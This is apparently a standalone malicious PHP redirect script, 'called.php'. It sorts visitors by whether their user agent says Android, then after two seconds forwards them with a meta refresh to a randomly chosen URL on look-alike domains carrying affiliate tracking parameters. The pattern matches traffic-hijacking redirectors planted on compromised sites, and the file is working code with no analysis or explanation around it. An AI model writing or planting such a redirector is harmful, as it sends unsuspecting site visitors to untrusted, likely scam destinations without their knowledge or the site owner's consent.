called.php

<?php

$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$android_urls = array (
            'http://com-9hq.net/?a=305665&c=wl_con&s=19A',
            'http://com-k2x.net/?a=305665&c=wl_con&s=19A',
            'http://com-dnx.net/?a=305665&c=wl_con&s=19A',
);
$not_android_urls = array (
            'http://com-9hq.net/?a=314759&c=wl_con&s=19P7Y1',
            'http://com-k2x.net/?a=314759&c=wl_con&s=19P7Y1',
            'http://com-dnx.net/?a=314759&c=wl_con&s=19P7Y1',
);
 $n = mt_rand(0,count($not_android_urls)-1);
 $rand_url=$not_android_urls[$n];

if ( $android  == true)
{
 $n = mt_rand(0,count($android_urls)-1);
 $rand_url=$android_urls[$n];
}
?>
 <meta http-equiv="refresh" content="2; url=<?php echo $rand_url;?> ">